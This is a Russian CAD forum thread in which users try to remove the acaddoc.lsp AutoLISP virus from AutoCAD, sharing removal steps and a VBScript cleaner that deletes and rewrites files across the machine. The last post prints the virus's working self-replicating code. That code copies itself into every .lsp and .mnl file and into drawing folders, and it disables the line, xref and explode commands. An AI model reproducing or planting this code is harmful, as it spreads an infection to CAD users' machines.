Acaddoc.lsp вирус или нет?

Acaddoc.lsp вирус или нет? · 14.10.2008, 13:38

Помогите удалить этот вирус. При открытии черчежей автоматически создаётся файл acaddoc.lsp. После того как он попадает на машину AutoCad перестаёт работать корректно, все черчежи открвыаются только с нажатием ESC и каждый раз в новом AutoCad. Пробовал удалять вручную, чистил антивирусом AVP 8, Symantec 10, CureIt они его удаляют. Но при открытии черчежей создаётся заново. Также читал на форумах что надо почистить его внутри изменить некоторые переменные, тоже не помогает.

Помогите пожалуйста.

vasilyis · 14.10.2008, 13:40

С помощью поиска, найдешь тему о вирусах. Это уже обсуждалось и все лечится.

Солидворкер · 14.10.2008, 13:42

skif58 · 15.10.2008, 05:13

http://forum.dwg.ru/showthread.php?t...EE%EA%E0%E4%E0

Mikhail.Pavliy · 15.10.2008, 08:27

Нашёл тему о вирусах, там предлагают несколько решений, таких как поменять значение SDI; TASKBAR на 0. Изменить занчения внутри файла *.lsp, я уже всё перепробовал, удалял все файлы acaddoc.lsp также чистил антивирусом, сносил AutoCAD. НЕ ПОМОГАЕТ!!!!!

ПОМОГИТЕ ПОЖАЛУСТА!!!

Profan · 15.10.2008, 08:43

А что с файлами acad.lsp? Присутствуют ли они?

Mikhail.Pavliy · 15.10.2008, 09:35

Да они пристутсвуют.

Profan · 15.10.2008, 09:40

Допустим всего 1 файл acad.lsp в папке ...\Documents and Settings\......\Support. Да и то, при установке AutoCAD этот файл отсутствует. Содержимое именно этого файла надо проанализировать. Все остальные файлы, расположенные в других папках - вредительские, если только их не создавал сам пользователь.

VVA · 15.10.2008, 14:09

Mikhail.Pavliy, Засунь acad.lsp и acaddoc.lsp в архив и выложи посмотреть на внутренности. Если ты не стравил каких-либо приложений (которые могут использовать acad.lsp) то можешь поиском (например в Total Comandore) найти их все и удалить.
acaddoc.lsp тоже не Автокадоский файл. Автокадовкие файлы
acad200X.lsp и acad200Xdoc.lsp, где X - версия (например для 2006 Автокада acad2006.lsp и acad2006doc.lsp)
Поэтому скорее всего acaddoc.lsp тоже может отправиться туда же, куда и acad.lsp

Mikhail.Pavliy · 16.10.2008, 06:42

Высылаю вам на рассмотрение Те самые злополучные файлы.

Profan · 16.10.2008, 08:26

Блин, эти файлы размером более мегабайта. Я не стану их целиком просматривать, хотя практически в самом начале файла acaddoc.lsp есть строки, переопределяющие стандартные команды.
А где acad.lsp?

Mikhail.Pavliy · 16.10.2008, 11:54

Извени но чо то щас я не могу найти файл Acad.lsp. есть только acad200X.lsp и acad200Xdoc.lsp. И то что я выслал файл acaddoc.lsp размером больше мегабайта это ещё маленький в среднем они у меня по 20 метров, а максимальный был 150 мб.

Profan · 16.10.2008, 12:06

Чертовщина какая-то. Я бы ликвидировал AutoCAD и все файлы acad***.lsp, установил заново AutoCAD и тщательно следил бы, чтобы при получении файлов со стороны совместно с файлом DWG не было бы вышеупомянутых файлов LSP. Но я сам себе хозяин и, естественно, администратор на своем компьютере.

Sazanoff_e · 16.10.2008, 12:33

Ну неужели нельзя никак создать уже какую-нить программулину, которая бы автоматизировала процесс лечения этой х*ени? Вирус-то узкоспециализированный, есть же проектировщики с навыками программирования, решили бы уже давно вопрос. Ведь не первый год народ мучается. Я к сожалению весьма далек от программирования, не пожалел бы личного времени чтобы покончить уже с этой проблемой.

Сугубо ИМХО.

Profan · 16.10.2008, 12:37

В данном случае меня поражают размеры файлов...

ShaggyDoc · 16.10.2008, 13:57

Чего поражаться-то? Этот "вирус" тупо многократно добавляет сам себя. Его и вирусом-то назвать нельзя - просто дебильный код, рассчитанный на поражение блондинок.

Насчет "неужели нельзя никак создать" - создано. Антивирусы реагируют и удаляют. Даже приложенный в ветку архив предлагают замочить еще до скачивания. А создать программулину, которая автоматизировала бы процесс мытья рук перед едой нельзя.

Profan · 16.10.2008, 14:12

Понятно. Блондинкам не удастся избавиться от этого дебильного кода.

Mikhail.Pavliy · 16.10.2008, 14:13

Да пробовал я ликвидировать все файлы acad***.lsp грохал автокад но не помогает, всё равно автокад гонит потом.

Единственно я заметил что 2004 и 2009 AutoCad это срань не берёт, она походу заточена на 2006 и 2007. На 2008 не пробовал.

VVA · 16.10.2008, 15:32

Mikhail.Pavliy, Он еще пишет во все mnl файлы в директории файла acad.mnl и lsp файлы в директории Support Автокада
Попробуй
1. По всему компьютеру найти и удалить файлы acad*.lsp
2. Деинсталлировать Автокад(ы)
3. Удалить все что остальсь в папках C:\Program Files\AutoCAD 200X и C:\Documents and Settings\Твоя_учетная_запись\Application Data\Autodesk\RXX.X вместе с папками. (AutoCAD 200X и RXX.X зависит от версии Атокада)
4. Переустановить Автокад (желательно не в папку по умолчанию).
5. Обращать ОСОБОЕ внимание на наличие файла acad.lsp и/или acaddoc.lsp в директориях dwg файлов (Например на флэшке или сетевом диске) до открытия в Атокаде

Рyslan · 16.10.2008, 15:57

у нас опять полезли в сети акады.лсп, видать кто-то притащил. НОД32 его видит и я просто удаляю

Mikhail.Pavliy · 17.10.2008, 09:43

Всё начинает работать когда удаляешь acad.mnl и acad*.lsp. Спасибо всем большое за помощь.

Profan · 17.10.2008, 09:49

Для AutoCAD 2006 файл acad.mnl очень нужен.

Кулик Алексей aka kpblc · 17.10.2008, 10:40

Уточнение: штатный acad.mnl

VVA · 17.10.2008, 10:56

Mikhail.Pavliy, acad.mnl нужен для всех Автокадов. Напиши версии, выложу чистые acad.mnl.
PS acad.mnl, другие mnl и lsp файлы можно прочинить. Ищи в редакторе строку (setq flagx t) и удаляй все с нее до конца

Mikhail.Pavliy · 17.10.2008, 12:38

AutoCad 2006 - 2007 усли не затруднит вышли.

Profan · 17.10.2008, 12:50

VVA, начиная с версии 2007 содержимое acad.mnl странное (после общих фраз):

Код:

[Выделить все]

 
;; Silent load.
(princ)

Нужен ли такой файл - блин его знает.

ShaggyDoc · 17.10.2008, 13:31

Цитата:

Сообщение от Profan

VVA, начиная с версии 2007 содержимое acad.mnl странное (после общих фраз):

Код:

[Выделить все]

 
;; Silent load.
(princ)

Нужен ли такой файл - блин его знает.

Как раз и нужен для того, чтобы всякие бродяги могли туда дописывать. Что и делает этот "вирус". А общие фразы - чтобы блондинки побоялись дописанное удалять.

Profan · 17.10.2008, 13:37

Ага, это мне понятно.
Однако, интересно - в UserDataCache файл acad.mnl тоже модифицируется?

Bekbolatov · 18.10.2008, 09:28

Желательно потом, после удаления *.mnl и *.lsp, и после переустановки ACADа, восстановленным (чистым) файлам *.mnl и *.lsp присвоить параметр "только для чтения". Этим вы обезопасите себя от повторного инфицирования

VVA · 11.12.2008, 21:45

Вариант Антивируса отсюда
Сохранить в файле AntiVirus.vbs и выполнить

Код:

[Выделить все]

strComputer = "."
BuferFile = "c:\bufer.txt"
Count = 0
Set objWMIService = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

Set colFiles = objWMIService. _
    ExecQuery("Select * from CIM_DataFile where (Extension = 'lsp') or (Extension = 'mnl')")
For Each objFile in colFiles
 Set oFSO = CreateObject("Scripting.FileSystemObject")
 Set oLogFile= oFSO.OpenTextFile(objFile.Name)
 Set BufFile= oFSO.CreateTextFile(BuferFile,true)
 sLogLine=""
 While (Not (oLogFile.AtEndOfStream))and(sLogLine<>"(setq flagx t)")
     sLogLine = oLogFile.ReadLine
     if sLogLine<>"(setq flagx t)" Then
       BufFile.WriteLine sLogLine
     end if
 Wend
 oLogFile.Close
 BufFile.Close
 If sLogLine="(setq flagx t)" Then
  oFSO.DeleteFile(objFile.Name)
  oFSO.CopyFile BuferFile,objFile.Name,True
  Count=Count+1
 End if
 oFSO.DeleteFile(BuferFile)
Next

Set colFiles = objWMIService. _
    ExecQuery("Select * from CIM_DataFile where (Extension = 'mnr') or (Extension = 'mnc') or (Extension = 'mns')")
For Each objFile in colFiles
 Set oFSO = CreateObject("Scripting.FileSystemObject")
  oFSO.DeleteFile(objFile.Name)
 Next

Set colFiles = objWMIService. _
    ExecQuery("Select * from CIM_DataFile where (Extension = 'lsp') or (Extension = 'mnl')")
For Each objFile in colFiles
 Set oFSO = CreateObject("Scripting.FileSystemObject")
 Set oLogFile= oFSO.OpenTextFile(objFile.Name)
 Set BufFile= oFSO.CreateTextFile(BuferFile,true)
 sLogLine=""
 While (Not (oLogFile.AtEndOfStream))and(sLogLine<>"(setq flagx t)")
     sLogLine = oLogFile.ReadLine
     if sLogLine<>"(setq flagx t)" Then
       BufFile.WriteLine sLogLine
     end if
 Wend
 oLogFile.Close
 BufFile.Close
 If sLogLine="(setq flagx t)" Then
  oFSO.DeleteFile(objFile.Name)
  oFSO.CopyFile BuferFile,objFile.Name,True
  Count=Count+1
 End if
 oFSO.DeleteFile(BuferFile)
Next


'If Count>0 Then
 WScript.Echo "Вылечено " & Count & " файлов"
'End If

ShaggyDoc · 12.12.2008, 07:31

Цитата:

Вариант Антивируса

Лечение зубной боли с помощью гильотины.

dextron3 · 02.03.2009, 19:35

Солидвокер выручай не могу убить этот вирус в ноутбуке постоянно поялвяется,

места удаления
автокад/суппорт
Документ энд сетинг/ усер/автодеск/ суппорт

Поялвяется и появляется автокад вообще тормозит и не работает каспер видит только тогда когда лечишь направленно, нод вообщзе не увидел...

Кулик Алексей aka kpblc · 02.03.2009, 19:49

http://forum.dwg.ru/showpost.php?p=265468&postcount=12 ?

dextron3 · 03.03.2009, 06:26

Кулик Алексей aka kpblc, откуда mnl удалить? я понял может внем загвоздка?

Кулик Алексей aka kpblc · 03.03.2009, 07:45

Рядом с mnu/cui/mns должен лежать. Ищите

Profan · 03.03.2009, 08:35

Цитата:

Сообщение от dextron3

... откуда mnl удалить? я понял может внем загвоздка?

Из AutoCAD 2006 и более древних версий нельзя удалять acad.mnl, там определено много функций. Начиная с версии 2007 этот файл фактически пустой, удалить можно, IMHO, но я бы не стал удалять, лучше бы вычистил.

VVA · 03.03.2009, 10:39

dextron3, В файлах mnl, lsp есть строчки с содержанием (setq flagx t)?
Если да, то запусти скрипт из #30

dextron3 · 03.03.2009, 11:57

VVA, скрипт запускать из автокада, так у меня автокад не загружается до конца виснет, что делать?

VVA · 03.03.2009, 13:13

Из Автокада не нужно, хотя можно. Сохрани код в файле , например AntiVirus.vbs и запусти на ваполнение, дважды щелкнув по нему мышкой.
PS Добавил в описание #30

dextron3 · 04.03.2009, 11:37

VVA, СПАСИБО!
18 штук вылечил, минут 15 пришлось подождать, уж надежду потерял, вроде бы ничего не происходило, поясните обычным языком что эта штуковина делает то?
по мимо mnl, acad.lsp лечит? acaddoc.lsp лечит?

VVA · 04.03.2009, 12:44

Проверяет все lsp и mnl файлы на наличие строчки (setq flagx t) и если находит, сохраняет текст до нее и удаляет после.
VBS - Visual Basic Script

Рyslan · 24.07.2009, 10:32

можно подробнее по пунктам показать как избавиться от этого "вируса", пожалуйста?

Кулик Алексей aka kpblc · 24.07.2009, 10:34

FAQ смотрел? Кстати, твой файл антивирь скачать не дает.

Рyslan · 24.07.2009, 10:36

фак смотрел конечно. постоянно ссылки туда сюда, одни так думаю другие эдак. вон VVA предлагал чего-то, у меня не получилось. а наш НОД его пропустил, собака. Кстати, я вчера тоже акад открываю и у меня тоже самое. Я что сделал, у меня хранится копия Support на диске D, скопировал специально, ато вон панели слетают...Так я почистил комп от этого acaddoc.lsp а потом заменил папку Support и все нормально стало работать.

VVA · 24.07.2009, 10:49

Цитата:

вон VVA предлагал чего-то, у меня не получилось

Скрипт в #30 решает твою проблему.
Можешь пройтись по машине еще CureIT или (лучше и) последним AVPTOOL'ом Касперского

Рyslan · 24.07.2009, 13:28

скрипт, хм. я скопировал код в блокнот, сохранил под тем именем и с тем расширением которые вы рекомендовали. два раз кликаю на нем, ничего не происходит. потом что-то написал или поругался комп

VVA · 24.07.2009, 13:47

Рyslan, Если я правильно посчитал строки, то ошибка возникает в этой строке

Цитата:

Set oLogFile= oFSO.OpenTextFile(objFile.Name)

Скорее всего скрипт пытается открыть acad.mnl файл, который у тебы открыт уже блокнотом.
Попробуй закрыть все и запустить скрипт снова.

Рyslan · 24.07.2009, 13:52

я нашел чистую Support, там глянул в acad.mnl, оказывается acaddoc.lsp туда все свое гэ прописывает. я удалил оттуда все ненужное и все заработало. заодно и резервную копию сделал папки Support

VVA · 24.07.2009, 14:08

Рyslan, Этого недостаточно. Нужно выполнить еще п. 1 и п. 5 из #19 Иначе получишь опять все это гэ обратно. Когда почистишь комп, следи чтобы вместе с приходящими чертежами не было никаких lsp файлов. Особенно начинающихся на acad

Рyslan · 24.07.2009, 18:09

VVA, деинсталировать и переустановить автокад не в моих силах, а айтишникам лень это делать, этот "вирус" же не мешает работать. они даже когда новый 2009 кад ставили, ничего не почистили, остались папки 8, 6 када. а этот вирус во все текстовые файлы в Support лезет. я сегодня чистил автокад меп, там во всех текстовых файлах сидит этот acaddoc.lsp

Krieger · 24.07.2009, 19:25

Блин, где вы его все берете, этот вирус?

VVA · 24.07.2009, 20:17

Рyslan, В п.1 и п.5 ничего про переустановку не говорится.

Рyslan · 24.07.2009, 20:34

Цитата:

Сообщение от VVA

Рyslan, В п.1 и п.5 ничего про переустановку не говорится.

а, ну первый пункт я сразу сделал, а про пятый кому чистил тому сказал. но я так и не смог твой скрипт запустить, хоть acad.mnl т был закрыт. скорее всего айтишники там чота закрыли как всегда, сами в шоколаде, а нам все позакрывали. я даже не могу шрифт скопировать в папку fonts program files

wlador · 11.12.2009, 09:32

Привет всем!!!
"... Мсье, же нема шпа сис жюр...."
В инете раскопал:
[IMG]C:\tmpDownload\111.jpg[/IMG]
на сайте: http://www.jtbworld.com/lisp/acaddoc.htm или в переводе:
"...Инструкции по использованию acaddoc.lsp AutoCAD's

(Это работает для других версий (2000 и позже) в AutoCAD и вертикалей, а)
От помощи в AutoCAD 2008

Acaddoc.lsp файл предназначен для связанных с каждого документа (или заимствования) инициализации. Этот файл является полезным, если вы хотите загрузить библиотеку подпрограмм AutoLISP быть доступны при каждом запуске нового рисунка (или откройте существующий рисунок).

Каждый раз, когда открывается рисунок, AutoCad ищет пути к библиотеке для acaddoc.lsp файла. Если он находит, то он загружает файл в память. Acaddoc.lsp файла всегда загружается с каждым рисунок независимо от настроек ACADLSPASDOC.

Большинство пользователей имеют один файл acaddoc.lsp для всех документ основан AutoLISP подпрограмм. AutoCAD ищет acaddoc.lsp файл в порядке, установленном пути к библиотеке, поэтому с этой функцией, вы можете иметь различные файлы acaddoc.lsp в каждом каталоге рисунок, который будет загружен конкретные процедуры AutoLISP для определенных типов чертежей или работы ..."
Получается acaddoc.lsp - это не вирус, а наоборот: необходимое дополнение? Зачем же это "необходимое" тормозит комп???
Подскажите неучу, плз!

Кулик Алексей aka kpblc · 11.12.2009, 11:33

Перевод какой-то "не такой"

Instruction on the usage of AutoCAD's acaddoc.lsp

(It works for other versions (2000 and later) of AutoCAD and verticals as well)
From the Help in AutoCAD 2008

The acaddoc.lsp file is intended to be associated with each document (or drawing) initialization. This file is useful if you want to load a library of AutoLISP routines to be available every time you start a new drawing (or open an existing drawing).

Each time a drawing opens, AutoCAD searches the library path for an acaddoc.lsp file. If it finds one, it loads the file into memory. The acaddoc.lsp file is always loaded with each drawing regardless of the settings of ACADLSPASDOC.

Most users will have a single acaddoc.lsp file for all document-based AutoLISP routines. AutoCAD searches for an acaddoc.lsp file in the order defined by the library path; therefore, with this feature, you can have a different acaddoc.lsp file in each drawing directory, which would load specific AutoLISP routines for certain types of drawings or jobs.

The acaddoc.lsp file can contain AutoLISP code for one or more routines, or just a series of load function calls. The latter method is preferable, because modification is easier. If you save the following code as an acaddoc.lsp file, the files mydocumentapp1.lsp, build.lsp, and counter.lsp are loaded every time a new document is opened.

(load "mydocumentapp1")
(load "build")
(load "counter")

Warning Do not modify the reserved acad2008doc.lsp file. Autodesk provides the acad2008doc.lsp file, which contains AutoLISP-defined functions that are required by AutoCAD. This file is loaded into memory immediately before the acaddoc.lsp file is loaded.
How to create acaddoc.lsp if it does not exist

In the folder where you want to save acaddoc.lsp right click and select New>Text Document. Change the name to acaddoc.lsp. Now you should be able to double click on the file and typically edit it in Notepad.

Or start Notepad, edit, save, ready.
Examples on location for acaddoc.lsp

C:\Program Files\AutoCAD 2008\Support

C:\Documents and Settings\<loginname>\Application Data\Autodesk\AutoCAD 2008\R17.1\enu\Support
or in Windows Vista
C:\Users\<loginname>\AppData\Roaming\Autodesk\AutoCAD 2008\R17.1\enu\Support

If you want to find folders that are searched by AutoCAD run the OPTIONS command and look at the Files tab and at the Support File Search Path

Каждый раз при открытии рисунка AutoCAD выполняет поиск файла acaddoc.lsp по библиотечному пути. При обнаружении такого файла производится его загрузка в память. Загрузка файла acaddoc.lsp производится для каждого рисунка не зависимо от значения системных переменных ACADLSPASDOC и LISPINIT.

В большинстве случаев пользователю достаточно иметь один файл acaddoc.lsp для всех AutoLISP-процедур, работающих непосредственно с документами. AutoCAD производит поиск файла acaddoc.lsp в порядке, заданном в стандартных библиотечных путях. Поэтому при работе с различными типами рисунков в каждой папке с рисунками можно держать свой файл acaddoc.lsp для загрузки требуемого набора процедур AutoLISP.

В файле acaddoc.lsp может размещаться AutoLISP-код одной или нескольких процедур или только последовательность вызовов функции load. Последний способ более предпочтителен, так как при этом упрощается возможная модификация перечня загружаемых процедур и приложений. Если, например, файл acaddoc2005.lsp имеет приведенное ниже содержимое, файлы mydocumentapp1.lsp, build.lsp и counter.lsp будут загружаться при открытии каждого документа.

(load "mydocumentapp1")

(load "build")

(load "counter")

AutoCAD производит поиск файла acaddoc.lsp в порядке, заданном в стандартных библиотечных путях. Поэтому при работе с различными типами рисунков в каждой папке с рисунками можно держать свой файл acaddoc.lsp. Этот файл будет использоваться для загрузки требуемого набора процедур AutoLISP.

Внимание! Не следует модифицировать зарезервированный файл acad2005doc.lsp. Файл acad2005doc.lsp содержит функции на языке AutoLISP, которые необходимы для нормальной работы AutoCAD. Данный файл загружается в память непосредственно перед загрузкой файла acaddoc2005.lsp.

Цитата:

Сообщение от wlador

Получается acaddoc.lsp - это не вирус, а наоборот: необходимое дополнение? Зачем же это "необходимое" тормозит комп???

А зачем файл модифицировать?

Rost · 01.01.2010, 04:48

Млин, удачно я зашел. Хватанул заразу. Открыл файл с флэхи на чужем компе, млин. Щя бум лечить

Stierlitz · 01.01.2010, 05:44

не пользуйтесь нодом он дырявый как сито

Rost · 01.01.2010, 19:11

Цитата:

Сообщение от guliaevskij

не пользуйтесь нодом он дырявый как сито

Дык дело в том, что все антивири видят эту фигню ток когда носом ткнуть. Она легко корни пускает, и обнаруживатся ток потом. Я пробовал на каспере 2009 и на Ноде, одно и тоже.

wetr · 11.01.2010, 05:45

Цитата:

Сообщение от VVA

Mikhail.Pavliy, Он еще пишет во все mnl файлы в директории файла acad.mnl и lsp файлы в директории Support Автокада

Спасибо, информация помогла. AntiVirus.vbs не запустился. Почистил указанные файлы вручную - все работает. В сети у нас этих "Acaddoc.lsp" не меряно - вот думаю как их выудить. Прав админских нету, а наши админы, только акробат устанавливать умеют
Offtop: Кстати, сегодня день "Спасибо"

znatok · 11.07.2010, 19:04

Цитата:

Сообщение от wlador

Привет всем!!!

Получается acaddoc.lsp - это не вирус, а наоборот: необходимое дополнение? Зачем же это "необходимое" тормозит комп???
Подскажите неучу, плз!

А у меня на компьютере нет файла Acaddoc.lsp, тогда какое это еобходимое дополнение? если да, то где взять...
Всё же, я считаю это вирусный файл

KSI · 12.07.2010, 11:08

Нет потому, что у него имя другое Acad...doc.lsp. Вместо ... - номер версии Асада.

Profan · 12.07.2010, 11:30

Цитата:

Сообщение от znatok

А у меня на компьютере нет файла Acaddoc.lsp, тогда какое это еобходимое дополнение? если да, то где взять...
Всё же, я считаю это вирусный файл

Если внимательно просмотреть дистрибутив AutoCAD'а, то можно обнаружить, например для AutoCAD 2011, файлы acad2011.lsp и acad2011doc.lsp. Это служебные файлы AutoCAD'а, а не вирусы.

Ner · 28.11.2010, 12:56

Цитата:

Сообщение от VVA

Вариант Антивируса отсюда
Сохранить в файле AntiVirus.vbs и выполнить

Код:

[Выделить все]

strComputer = "."
BuferFile = "c:\bufer.txt"
Count = 0
Set objWMIService = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

Set colFiles = objWMIService. _
    ExecQuery("Select * from CIM_DataFile where (Extension = 'lsp') or (Extension = 'mnl')")
For Each objFile in colFiles
 Set oFSO = CreateObject("Scripting.FileSystemObject")
 Set oLogFile= oFSO.OpenTextFile(objFile.Name)
 Set BufFile= oFSO.CreateTextFile(BuferFile,true)
 sLogLine=""
 While (Not (oLogFile.AtEndOfStream))and(sLogLine<>"(setq flagx t)")
     sLogLine = oLogFile.ReadLine
     if sLogLine<>"(setq flagx t)" Then
       BufFile.WriteLine sLogLine
     end if
 Wend
 oLogFile.Close
 BufFile.Close
 If sLogLine="(setq flagx t)" Then
  oFSO.DeleteFile(objFile.Name)
  oFSO.CopyFile BuferFile,objFile.Name,True
  Count=Count+1
 End if
 oFSO.DeleteFile(BuferFile)
Next

Set colFiles = objWMIService. _
    ExecQuery("Select * from CIM_DataFile where (Extension = 'mnr') or (Extension = 'mnc') or (Extension = 'mns')")
For Each objFile in colFiles
 Set oFSO = CreateObject("Scripting.FileSystemObject")
  oFSO.DeleteFile(objFile.Name)
 Next

Set colFiles = objWMIService. _
    ExecQuery("Select * from CIM_DataFile where (Extension = 'lsp') or (Extension = 'mnl')")
For Each objFile in colFiles
 Set oFSO = CreateObject("Scripting.FileSystemObject")
 Set oLogFile= oFSO.OpenTextFile(objFile.Name)
 Set BufFile= oFSO.CreateTextFile(BuferFile,true)
 sLogLine=""
 While (Not (oLogFile.AtEndOfStream))and(sLogLine<>"(setq flagx t)")
     sLogLine = oLogFile.ReadLine
     if sLogLine<>"(setq flagx t)" Then
       BufFile.WriteLine sLogLine
     end if
 Wend
 oLogFile.Close
 BufFile.Close
 If sLogLine="(setq flagx t)" Then
  oFSO.DeleteFile(objFile.Name)
  oFSO.CopyFile BuferFile,objFile.Name,True
  Count=Count+1
 End if
 oFSO.DeleteFile(BuferFile)
Next


'If Count>0 Then
 WScript.Echo "Вылечено " & Count & " файлов"
'End If

Привет, VVA! У меня почему то не работает эта программка, в чем может быть дело? Я прикрепил два скриншота, на первом я попробовал запустить антивирус от имени администратора, а потом от свой учетной записи, выдает разные ошибки... Можно с этим что нибудь сделать? У меня стоит Windows 7.

VVA · 29.11.2010, 10:03

Ner, Я не мастер писать на vbs. Здесь я привел только ссылку и сам код. Если здесь не ответят, попробуй обратиться на форум, где общаются администраторы.

DilshatDK · 17.12.2010, 15:06

Нашел выход из этой ситуации. Может кто-то и где-то уже давно это узнал или написал про это. Тогда прошу прощения. Просто лень читать все комменты....

Суть заключается в следующем:

1) Открыть блокнотом файл acaddoc.lsp из папки C:\Program Files\AutoCAD 2009\Support

2) удалить все его содержание. Сохранить.

3) в свойствах файла acaddoc.lsp указать ТОЛЬКО ЧТЕНИЕ

При последующих открытиях любого, хоть даже зараженного вирусом файла автокада в командной строке будет типа такого:

(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while
);progn
);if
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn (1+ lspn))
);while
(setvar "sdi" 1)
(setvar "ACADLSPASDOC" 1)
(command "undefine" "line")
(command "undefine" "_line")
(command "undefine" "xref")
(command "undefine" "_xref")
(command "undefine" "explode")
(command "undefine" "_explode")
(setvar "cmdecho" 1)
(load "acadapq")
(princ)
(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while
);progn
);if
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn (1+ lspn))
);while
(setvar "sdi" 1)
(setvar "ACADLSPASDOC" 1)
(command "undefine" "line")
(command "undefine" "_line")
(command "undefine" "xref")
(command "undefine" "_xref")
(command "undefine" "explode")
(command "undefine" "_explode")
(setvar "cmdecho" 1)
(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
